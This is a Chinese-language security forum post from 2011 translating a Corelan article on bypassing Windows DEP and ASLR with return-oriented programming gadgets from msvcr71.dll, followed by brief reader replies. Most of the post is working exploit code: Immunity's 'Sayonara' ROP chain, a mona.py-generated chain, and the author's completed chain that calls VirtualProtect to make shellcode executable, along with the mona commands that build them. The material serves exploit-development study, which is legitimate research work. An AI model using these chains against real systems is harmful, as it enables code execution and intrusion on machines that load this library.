首页
社区
课程
招聘
[翻译]利用msvcr71.dll 与mona.py实现通用绕过DEP/ASLR
发表于: 2011-8-24 15:33 14738

[翻译]利用msvcr71.dll 与mona.py实现通用绕过DEP/ASLR

2011-8-24 15:33
14738

原文: Corelan Team (corelanc0d3r)
                                                                        翻译: 后恋
说明
最近几周,有许多关于利用msvcr71.dll中ROP gadgets(译者注gadgets小代码)实现通用绕过DEP/ASLR的方法,事实上甚至已经有集成了这类功能的exploit程序被提交给Metasploit来获取奖金了。
白磷版本
        做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向VirtualProtect函数的指针。这个版本的dll没有基于ASLR,因此这是个可以用来实现通用绕过DEP和ASLR的完美侯选者,此外它还包含了生成ROP程序的所有gadgets。
        如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用ROP chain来实现绕过DEP和ASLR的通用方法。
        Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:

def wp_sayonaraASLRDEPBypass(size=1000):
    # White Phosphorus
    # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
    #
    # This technique uses msvcr71.dll which has shipped unchanged
    # in the Java Runtime Environment since v1.6.0.0 released
    # December 2006.
    #
    # mail: support@whitephosphorus org
    # sales: http://www.immunityinc.com/products-whitephosphorus.shtml

    print "WP> Building Sayonara - Universal ASLR and DEP bypass"

    size += 4  # bytes to shellcode after pushad esp ptr

    depBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;
    depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
    depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
    depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
    depBypass += pack('<L', 0x7C365645) # pop esi;ret;
    depBypass += pack('<L', 0x7C345243) # ret;
    depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
    depBypass += pack('<L', 0x7C3487EC) # call eax
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack("<i", -size)      # {size}
    depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
    depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
    depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
    depBypass += pack('<L', 0xFFFFFFC0) # {flag}
    depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
    depBypass += pack('<L', 0x7C354648) # pop edi;ret;
    depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
    depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
    depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
    depBypass += pack('<L', 0x7C36683F) # push esp;ret;

    print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
    return depBypass
        受Mestasploit奖金事件的触动,以及Abysssec几个小时前(译者注:2011/07/03)发表的一个类似文档,同时由于Immunity已经发布了代码,我决定自己再研究下看看能不能从msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码
另一种版本(mona.py)
        我用Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建一个拥有ROP gadgets的数据库,并且生成一个rop chain
        因为在白磷版本中没有null字节,所以可以尝试做同样的事。
        结果如下:
        输入命令:
        !mona rop -m msvcr71.dll -n
        17秒后,结果如下:
rop_gadgets =
        [
                0x7c346c0a,        # POP EAX # RETN (msvcr71.dll)
                0x7c37a140,        # <- *&VirtualProtect()
                0x7c3530ea,        # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
                0x????????,        # ** <- find routine to move virtualprotect() into esi
                                   # ** Hint : look for mov [esp+offset],eax and pop esi
                0x7c376402,        # POP EBP # RETN (msvcr71.dll)
                0x7c345c30,        # ptr to 'push esp #  ret ' (from msvcr71.dll)
                0x7c346c0a,        # POP EAX # RETN (msvcr71.dll)
                0xfffffdff,        # value to negate, target value : 0x00000201, target: ebx
                0x7c351e05,        # NEG EAX # RETN (msvcr71.dll)
                0x7c354901,        # POP EBX # RETN (msvcr71.dll)
                0xffffffff,        # pop value into ebx
                0x7c345255,        # INC EBX # FPATAN # RETN (msvcr71.dll)
                0x7c352174,        # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
                0x7c34d201,        # POP ECX # RETN (msvcr71.dll)
                0x7c38b001,        # RW pointer (lpOldProtect) (-> ecx)
                0x7c34b8d7,        # POP EDI # RETN (msvcr71.dll)
                0x7c34b8d8,        # ROP NOP (-> edi)
                0x7c344f87,        # POP EDX # RETN (msvcr71.dll)
                0xffffffc0,        # value to negate, target value : 0x00000040, target: edx
                0x7c351eb1,        # NEG EDX # RETN (msvcr71.dll)
                0x7c346c0a,        # POP EAX # RETN (msvcr71.dll)
                0x90909090,        # NOPS (-> eax)
                0x7c378c81,        # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
        # rop chain generated by mona.py
        # note : this chain may not work out of the box
        # you may have to change order or fix some gadgets,
        # but it should give you a head start
        ].pack("V*")
        很有趣,mona.py脚本利用msvce71.dll中的gadgets和指针生成了一个几乎完整的ROP chain。
        虽然看上去比Immunity写的稍微大了点,但是仅仅是想尝试下是否还有另一种可利用方式。
        mona脚本生成的里面唯一缺少的就是一行将VirtualProtext()函数指针(在EAX中)放入ESI的指令。
        mona.py脚本没有发现明显的gadgets能够实现”mov esi, eax”,因此我们不得不手动来查找一个。
        但是正如mona.py提示的,只需要寻找一个gadget能够将值写入eax放到栈上,因为之后可以从ESI中获得它。
        为了做到这一点,我们还需要2到3条gadgets:一个是获得栈指针,第二个将值写入栈,第三个则是取出其值(pop esi)。
        在仔细寻找了生成的rop.txt文件后,成功的找到了下面2个gadget能实现这一点:
0x7c37591f :  # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN   
0x7c376069 :  # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN  
应该可以实现。
使用这个两个gadgets,我们只需要将指向VirtualProtext()函数的指针写到栈上,并最终存储到ESI中。事实上,第二个gadget将会在同一gadget中完成写入和读取。我们只需要保证ECX指向正确的栈上的位置,并能保证pop esi指令能够在那个位置获取取值。
        注意的是,第一个gadget需要EAX包含一个合法的指向可读区域的指针,因此我们要使他可读的办法是从msvcr71.dll中弹出一个可读的地址放到EAX中。
        整合之后,chain如下:
rop_gadgets =
[
        0x7c346c0a,        # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,        # Make EAX readable
        0x7c37591f,        # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
        0x41414141,        # EBP (filler)
        0x7c346c0a,        # POP EAX # RETN (MSVCR71.dll)
        0x7c37a140,        # <- *&VirtualProtect()
        0x7c3530ea,        # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
        0x7c346c0b,        # Slide, so next gadget would write to correct stack location
        0x7c376069,        # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
        0x41414141,        # EDI (filler)
               0x41414141,        # will be patched at runtime (VP), then picked up into ESI
               0x41414141,        # EBX (filler)
        0x7c376402,        # POP EBP # RETN (msvcr71.dll)
        0x7c345c30,        # ptr to 'push esp #  ret ' (from MSVCR71.dll)
        0x7c346c0a,        # POP EAX # RETN (MSVCR71.dll)
        0xfffffdff,        # size 0x00000201 -> ebx, modify if needed
        0x7c351e05,        # NEG EAX # RETN (MSVCR71.dll)
        0x7c354901,        # POP EBX # RETN (MSVCR71.dll)
        0xffffffff,        # pop value into ebx
        0x7c345255,        # INC EBX # FPATAN # RETN (MSVCR71.dll)
        0x7c352174,        # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
        0x7c34d201,        # POP ECX # RETN (MSVCR71.dll)
        0x7c38b001,        # RW pointer (lpOldProtect) (-> ecx)
        0x7c34b8d7,        # POP EDI # RETN (MSVCR71.dll)
        0x7c34b8d8,        # ROP NOP (-> edi)
        0x7c344f87,        # POP EDX # RETN (MSVCR71.dll)
        0xffffffc0,        # value to negate, target value : 0x00000040, target: edx
        0x7c351eb1,        # NEG EDX # RETN (MSVCR71.dll)
        0x7c346c0a,        # POP EAX # RETN (MSVCR71.dll)
        0x90909090,        # NOPS (-> eax)
        0x7c378c81,        # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
        # rop chain generated with mona.py
].pack("V*")
共31个双字,比白磷的商业版多了9个双字。但是这个证明了我的观点,而且只花费了我10分钟不到的时间便能建立起这个通用的可以绕过DEP和ASLR的链。
        顺便说一下,如果你不知道,也许有坏字节(假设你需要避免使用’\0xa’和’\0xd’),那么你可以运行如下:
!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
以及获取其他指针,其实这些很简单。
总结
        不管结果看上去多么完美或者结果多么肯定,它终究会有其他的办法能实现这种结果。本文就是验证了这个观点
(译者注:该文Immunity Debugger 需要在1.83版本上调试、mona,py是corelan组织最新发布的一个可以替代并且功能远强于pvefindaddr的脚本, mona.py脚本已附,Immunity1.83可在此处现在汉化版http://bbs.pediy.com/showthread.php?t=136903)


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 6
支持
分享
最新回复 (7)
雪    币: 26
活跃值: (244)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
辛苦辛苦~~~~~!
2011-8-24 15:38
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
3
如果能够看到OD版本的mona就非常之强大了。不仅仅是会用,更重要是它是怎么实现的,既然都已经开源了。相信应该不难。
2011-8-24 16:08
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
没下载链接啊。。我要mona.py
2011-8-24 22:04
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
5
啥叫白磷啊... 自己找其实也挺快的
lz对jit-spary有研究没
2011-8-24 22:28
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
6
至今没有懂mona,悲哀了..
2011-8-25 21:57
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
7
有人已经翻译过了吧,就发在论坛上。
2011-8-26 08:35
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
8
mona只是个immxxdebug的一个python插件吧了  用于查找rop  过seh类似其他的

的指令的..在我机器上输入!mona 就蓝屏的说....
2011-8-29 00:17
0
游客
登录 | 注册 方可回帖
返回
//